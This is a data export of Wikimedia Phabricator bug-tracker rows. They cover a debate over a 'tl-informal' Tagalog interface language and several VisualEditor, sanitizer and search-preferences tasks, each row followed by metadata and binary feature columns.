+I bet that even some purists will laugh at the phrase ""Wala ka pa bang kuwenta?""  Do you even realize that in normal conversation the phrase may be translated as ""Are you still a useless person?"" instead of ""Don't have an account""?  I bet also that those so called purists also speak unpurely in normal conversation.  
+
+I believe it's still redundant and will add another burden to a handful of volunteers just to accommodate the principles of a few people.
+
+Another thing, it's not necessarily informal or Taglish when you use borrowed foreign words in a phrase or sentence.  There are words (especially technical terms) that are really untranslatable.  Forcing the translation will result to lots of misinterpretation just like with the term ""kuwenta.""  Thus, tl-informal is a misnomer and will just add to the confusion.
+
+I haven't seen a discussion in the WP:KAPE (or the Kapihan in the Tagalog Wikipedia) about this.  You are aware that I don't have a Facebook account and if you have posted that in Facebook, I haven't read it.  Instead of Facebook (where not all people who are involved in the projects are there), I recommend that you start a new section at WP:KAPE and discuss this further.  Please don't reply me here.",,,1398132909,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-tn3a37o3zgibya4bkm32,task_subcomment,,True,c1,3,False,,,42,,1,1,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,1,1,1,0,0,1,1,0,1,1,1,0,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,0,1,1,1,1,1,1,1,0,0,1,1,1,1,1,1,1,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,1,1
+239999,Creation of tl-informal as a new interface language,"**jamesjoshualim** wrote:
+
+(In reply to Joseph Ballesteros from comment #3)
+> As a veteran editor in the Tagalog Wikipedia, I disagree with this.  I think
+> it's redundant and I am for only one interface language for Tagalog.  I
+> suggest that this should be discussed first with more editors.
+
+It is not redundant when language issues are as divisive as they are on the Tagalog Wikipedia.  Short of forcing everyone to abide by one standard (which will not happen, given persistent conflicts between purists, moderates and progressives/universalists) or creating two different Wikipedias for Tagalog and Filipino, this is the best solution that can be conceived.
+
+(Also, I posted a discussion on this on both the Tagalog Wikipedia Facebook group and the Kapihan months ago.)",,,1398091189,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-tn3a37o3zgibya4bkm32,task_subcomment,,True,c1,3,False,,,42,,0,1,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,1,1,1,0,0,1,1,0,0,1,1,0,1,1,1,1,0,0,1,0,1,0,1,0,1,0,0,0,1,1,1,1,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,1
+239991,Creation of tl-informal as a new interface language,"**jojit_fb** wrote:
+
+As a veteran editor in the Tagalog Wikipedia, I disagree with this.  I think it's redundant and I am for only one interface language for Tagalog.  I suggest that this should be discussed first with more editors.",,,1398073332,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-tn3a37o3zgibya4bkm32,task_subcomment,,True,c1,3,False,,,42,,0,0,0,1,0,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,1,0,0
+239984,Creation of tl-informal as a new interface language,"**jamesjoshualim** wrote:
+
+(In reply to comment #1)
+> Is this asking for:
+> 
+> 1) Creating a new interface language, tl-informal, in TranslateWiki.net
+> 2) Creating a new interface language, tl-informal, in MW core
+> 3) Creating a new interface language, tl-informal, in production
+
+Just these first three.  For now, we're very undecided on pursuing the fourth option, as we have not yet agreed on having Taglish content on the Tagalog Wikipedia.  For now, we only agreed on having a new interface language, and we will get to the issue of content languages when we get there.",,,1378878251,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-tn3a37o3zgibya4bkm32,task_subcomment,,True,c1,3,False,,,10,,0,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,0,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,1,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+239977,Creation of tl-informal as a new interface language,"Is this asking for:
+
+1) Creating a new interface language, tl-informal, in TranslateWiki.net
+2) Creating a new interface language, tl-informal, in MW core
+3) Creating a new interface language, tl-informal, in production
+4) Creating a new content language in MW core, adding to tlwiki as a variant
+5) Creating a new content language in MW core, adding to a new wiki (tl-inf-wiki)?
+
+I think this is 1, 2, 3 and 4 but not 5.
+
+Note that adding variants to a wiki is do-able but makes for a sucky experience in both editing and creating wikitext, and means that tlwiki wouldn't be possible as a release target for VisualEditor for at least some time whilst we wait for building out support in VisualEditor and Parsoid.",,,1378834373,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-tn3a37o3zgibya4bkm32,task_subcomment,,True,c1,3,True,,,10,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,1,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,1,0,0,1,1,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,1,0,1,0,1,1
+54955,GettingStarted toolbar overlaps with VE post edit confirmation,"**Author:** `swalling`
+
+**Description:**
+Hidden VE postedit confirmation
+
+If you edit successfully via wikitext, we delay loading the GettingStarted toolbar until after the post-edit confirmation disappears. We should do the same for the new style of postedit confirmation from VE.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11351}",Medium,50.0,1376715240,1392361469.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-osskcs5pzqf76ce4lpyj,task_description,resolved,True,c1,3,False,False,False,6,,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+239886,GettingStarted toolbar overlaps with VE post edit confirmation,"Change 112880 merged by jenkins-bot:
+Delay showing the task toolbar after VisualEditor edit
+
+https://gerrit.wikimedia.org/r/112880",,,1392360585,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-osskcs5pzqf76ce4lpyj,task_subcomment,,True,c1,3,False,,,32,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+239882,GettingStarted toolbar overlaps with VE post edit confirmation,"Thanks, James.  The change on our side is https://gerrit.wikimedia.org/r/112880.",,,1392263311,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-osskcs5pzqf76ce4lpyj,task_subcomment,,True,c1,3,True,,,32,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+239876,GettingStarted toolbar overlaps with VE post edit confirmation,"The VE patch here has been merged and will be deployed in the train tomorrow (in wmf14); not sure if this achieves the fix desired, so just setting to ""NEW"" instead.",,,1392254220,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-osskcs5pzqf76ce4lpyj,task_subcomment,,True,c1,3,True,,,32,,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0
+239869,GettingStarted toolbar overlaps with VE post edit confirmation,"Change 112880 had a related patch set uploaded by Phuedx:
+Delay showing the task toolbar after Visual Editor edit
+
+https://gerrit.wikimedia.org/r/112880",,,1392205844,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-osskcs5pzqf76ce4lpyj,task_subcomment,,True,c1,3,False,,,32,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+239863,GettingStarted toolbar overlaps with VE post edit confirmation,"Change 112879 had a related patch set uploaded by Phuedx:
+Include edit status in the ve.deactivationComplete event
+
+https://gerrit.wikimedia.org/r/112879",,,1392205631,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-osskcs5pzqf76ce4lpyj,task_subcomment,,True,c1,3,False,,,32,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+54941,Refactor sanitizer to work on the DOM too,"Currently we always serialize to wikitext and re-parse that to HTML, which runs the sanitizer on the token stream to ensure that our final HTML does not cause bad things to happen.
+
+Soon both us and the Flow team want to store HTML from the VisualEditor directly without first serializing to wikitext. This means that we need to perform the sanitization on the HTML instead of the token stream. For performance, sanitizing on the way in would be preferable. We should however support re-sanitization when new issues were discovered. This could potentially be coupled with the versioning discussed in bug 52937. A new sanitizer could bump the version number, and the upgrade path would then run the new sanitizer on old HTML (and probably update the storage with the newly sanitized version).
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1376677680,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,False,PHID-TASK-zls4w4oon3y5sp6y4rot,task_description,open,True,c1,3,True,False,,6,,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,1,1,1,0,1,1,0,0,1,1,0,0,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+884756,Refactor sanitizer to work on the DOM too,"Note that tokens are equivalent to SAX events. This suggests the following option for hooking up the current sanitizer to process a DOM:
+
+- Traverse the input DOM, emit SAX events
+- feed SAX events through the sanitizer
+- feed the resulting tokens / SAX events back to a HTML / XML DOM tree builder",,,1498752154,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-zls4w4oon3y5sp6y4rot,task_subcomment,,True,c1,3,True,,,208,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0
+54871,VisualEditor: Switch to use MediaWiki's built-in messages for post-edit notifications (and add to them so we cover all three cases),"**Author:** `swalling`
+
+**Description:**
+Screenshot at 1024x768
+
+Very happy to see that VE is now using the same post-edit styling as wikitext! This is a big win for usability, since it is fixed position and so on.
+
+I did find one suboptimal fact though... Since the text of the message includes the page title, it is very variable width, depending on the page title length and the browser width. 
+
+One of the UX goals for this notification is to have new users notice it, but for it to eventually fade out of your attention as you become used to it. Since the page title produces very different widths as you edit different pages, this calls a lot more attention to the notification even if you've edit thousands of times. 
+
+My recommendation would be to match what's in the wikitext version, ""Your edit was saved."" since we A/B tested it and we know it meets the goals I mentioned above. Another good solution is simply removing the page title, so that the VE version says, ""Your changes have been saved."" That seems functionally the same, though I think using edit is good for consistency with the tab names etc.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
+
+**Attached**: {F11185}",Medium,50.0,1376526420,1398987428.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-3fcobyguspmbsv62uzbp,task_description,resolved,True,c1,3,False,False,False,6,,0,0,1,1,0,1,1,0,1,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,1,0,0,0,1,1,0,1,0,0,1,1,1,1,0,1,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+235483,VisualEditor: Switch to use MediaWiki's built-in messages for post-edit notifications (and add to them so we cover all three cases),"Change 130968 merged by jenkins-bot:
+Switch to use MediaWiki's built-in messages for post-edit notifications
+
+https://gerrit.wikimedia.org/r/130968",,,1398983834,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3fcobyguspmbsv62uzbp,task_subcomment,,True,c1,3,False,,,43,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+235480,VisualEditor: Switch to use MediaWiki's built-in messages for post-edit notifications (and add to them so we cover all three cases),"Change 130968 had a related patch set uploaded by Alex Monk:
+Switch to use MediaWiki's built-in messages for post-edit notifications
+
+https://gerrit.wikimedia.org/r/130968",,,1398977566,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3fcobyguspmbsv62uzbp,task_subcomment,,True,c1,3,False,,,43,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+235477,VisualEditor: Switch to use MediaWiki's built-in messages for post-edit notifications (and add to them so we cover all three cases),"Change 127480 merged by jenkins-bot:
+Expand core post edit functionality to match VE
+
+https://gerrit.wikimedia.org/r/127480",,,1398976145,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3fcobyguspmbsv62uzbp,task_subcomment,,True,c1,3,False,,,43,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+235474,VisualEditor: Switch to use MediaWiki's built-in messages for post-edit notifications (and add to them so we cover all three cases),Now just needs VE to use the same function.,,,1398975938,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3fcobyguspmbsv62uzbp,task_subcomment,,True,c1,3,True,,,43,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+235468,VisualEditor: Switch to use MediaWiki's built-in messages for post-edit notifications (and add to them so we cover all three cases),"Change 127480 had a related patch set uploaded by Alex Monk:
+Expand core post edit functionality to match VE
+
+https://gerrit.wikimedia.org/r/127480",,,1398011806,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3fcobyguspmbsv62uzbp,task_subcomment,,True,c1,3,False,,,41,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+235462,VisualEditor: Switch to use MediaWiki's built-in messages for post-edit notifications (and add to them so we cover all three cases),"Current VE messages:
+
+    ""visualeditor-notification-created"": ""\""$1\"" has been created."",
+    ""visualeditor-notification-restored"": ""\""$1\"" has been restored."",
+    ""visualeditor-notification-saved"": ""Your changes to \""$1\"" have been saved."",
+
+Current MW core message:
+
+    'postedit-confirmation'            => 'Your edit was saved.',
+
+We should:
+
+1. Expand MW core to cater to all three states (create, restore, save):
+
+** Create: ""The page has been created.""
+** Restore: ""The page has been restored.""
+** Saved: ""Your edit was saved.""
+
+2. Not use different messages in VE – instead, use the core ones.
+
+Rather than create two bugs, let's just use this one?",,,1393377054,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3fcobyguspmbsv62uzbp,task_subcomment,,True,c1,3,True,,,34,,1,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,0,0,0,0,0,0,1
+54841,VisualEditor: <references /> empty in edit mode,"The <references /> section is empty in edit mode, see URL.
+
+Other examples:
+
+https://de.wikipedia.org/wiki/Joachim_Wiesner
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**URL**: https://de.wikipedia.org/wiki/Bahnhof_K%C3%B6ln_Eifeltor",Medium,50.0,1376480280,1378992675.0,PHID-USER-3uecblbxq24ycewm2cog,False,,False,PHID-TASK-clul26iiuspnnu6ubobc,task_description,resolved,True,c1,3,False,False,True,6,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+233407,VisualEditor: <references /> empty in edit mode,"Yeah, was already fixed. Great!",,,1378992675,,PHID-USER-3uecblbxq24ycewm2cog,False,,,PHID-TASK-clul26iiuspnnu6ubobc,task_subcomment,,True,c1,3,False,,,10,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+233402,VisualEditor: <references /> empty in edit mode,"Hi Raimond,
+in both articles I can correctly see the contents of the Einzelnachweise sections.
+(Maybe this is a duplicate and the bug was already fixed?)",,,1378988604,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-clul26iiuspnnu6ubobc,task_subcomment,,True,c1,3,False,,,10,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,0
+54817,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","https://www.mediawiki.org/wiki/Special:Preferences#mw-prefsection-searchoptions
+
+The ""Advanced options"" section of the ""Search"" tab in MediaWiki currently looks like this:
+
+---
+Advanced options
+
+[ ] Search in all namespaces
+
+Search in these namespaces by default:
+[ ] (Main)
+[ ] Talk
+[ ] User
+[ ] User talk
+[ ] Project
+[ ] Project talk
+[ ] File
+[ ] File talk
+[ ] MediaWiki
+[ ] MediaWiki talk
+[ ] Template
+[ ] Template talk
+[ ] Help
+[ ] Help talk
+[ ] Category
+[ ] Category talk
+[ ] Thread
+[ ] Thread talk
+[ ] Summary
+[ ] Summary talk
+[ ] Manual
+[ ] Manual talk
+[ ] Extension
+[ ] Extension talk
+[ ] API
+[ ] API talk
+[ ] Skin
+[ ] Skin talk
+[ ] Module
+[ ] Module talk
+[ ] Translations
+[ ] Translations talk
+[ ] VisualEditor
+[ ] VisualEditor talk
+---
+
+This list looks silly and excessive. While {T39878} has requested a layout change, I think we need to reconsider how this list is implemented.
+
+What about adding a checkbox to [[Special:Search]]'s advanced search section that looks something like this:
+
+[ ] Use these namespaces as my default
+
+This would de-duplicate the namespace listing (between Special:Preferences and Special:Search) and would allow the search user preference to be set more easily from the search interface itself.
+
+Rather than using Special:Preferences and having heavy user interface exposure, any custom search namespace preferences could be ""hidden"" user preferences. That is, they'll still be stored if they don't match the site-wide default, but they'll not clutter up Special:Preferences.
+
+--------------------------
+**See Also**:
+{T50615}",Medium,50.0,1376420940,1402249236.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-ueuakppu4zprla5jwywo,task_description,resolved,True,c1,3,False,False,False,6,,1,1,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,1,0,0,1,0,0,1,1,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0,1,0,1,1,1,0,1,1,0,0,1,1,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1
+556013,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","Change 250271 merged by jenkins-bot:
+Remove search preferences from Special:Preferences JavaScript
+
+[[https://gerrit.wikimedia.org/r/250271]]",,,1446331757,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,121,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+555986,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","Change 250271 had a related patch set uploaded (by saper):
+Remove search preferences from Special:Preferences JavaScript
+
+[[https://gerrit.wikimedia.org/r/250271]]
+",,,1446322753,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,121,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+550383,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","Not really. As far as I understand the current search options are handled perfectly by the  [[http://git.wikimedia.org/blob/mediawiki%2Fcore.git/0158312d4bc3de9c15064a12a73b4bf57580e45e/resources%2Fsrc%2Fmediawiki.special%2Fmediawiki.special.search.js|mediawiki.special.search.js]] ResourceLoader module, while I intend to remove this from [[http://git.wikimedia.org/blob/mediawiki%2Fcore.git/0158312d4bc3de9c15064a12a73b4bf57580e45e/resources%2Fsrc%2Fmediawiki.special%2Fmediawiki.special.preferences.js#L284|mediawiki.special.preferences.js]] in https://gerrit.wikimedia.org/r/#/c/247728/. Probably this is just a leftover from this change.",,,1445517570,,PHID-USER-qduasitr62ffvc5eiivd,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,120,,0,0,1,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,1
+549883,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","> I have found that we still have JavaScript code attaching to #mw-htmlform-advancedsearchoptions and #mw-input-wpsearcheverything. I understand this can be safely removed?
+
+Do you mean the All | None buttons inserted via JavaScript?",,,1445449896,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,True,,,120,,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0
+549641,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","One question:
+
+In https://gerrit.wikimedia.org/r/#/c/247728 I have found that we still have JavaScript code attaching to 
+`#mw-htmlform-advancedsearchoptions` and `#mw-input-wpsearcheverything`. I understand this can be safely removed?
+
+",,,1445420606,,PHID-USER-qduasitr62ffvc5eiivd,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,120,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,0,1,1,1,1,1,1,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,0,0,0,1,0,0,0
+549642,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself",,,,1445420618,,PHID-USER-qduasitr62ffvc5eiivd,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,120,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+549640,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself",,,,1445420596,,PHID-USER-qduasitr62ffvc5eiivd,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,120,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+257425,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","(In reply to Isarra from comment #27)
+> May also want a separate page of 'all settings' or 'advanced settings' for a
+> lot of them (it could also appear collapsed or something by default - the
+> point is while this is often not the stuff folks will necessarily be after,
+> it should be there somewhere in case they are), sort of like the extra
+> 'config' heap you see in firefox and whatnot, but hopefully somewhat easier
+> to find and use.
+
+Is there an open bug report about this? I wouldn't oppose a gated (behind a checkbox, perhaps) advanced user preferences tab. Safari does this as well, I believe, with a preferences checkbox that enables a ""Developer"" drop-down menu. Similar-ish idea.",,,1402265111,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,48,,1,1,0,0,1,1,0,0,0,0,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,0,1,0,1
+257420,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","Created attachment 15597
+Advanced search tab in mediawiki.org as of  	1.24wmf8
+
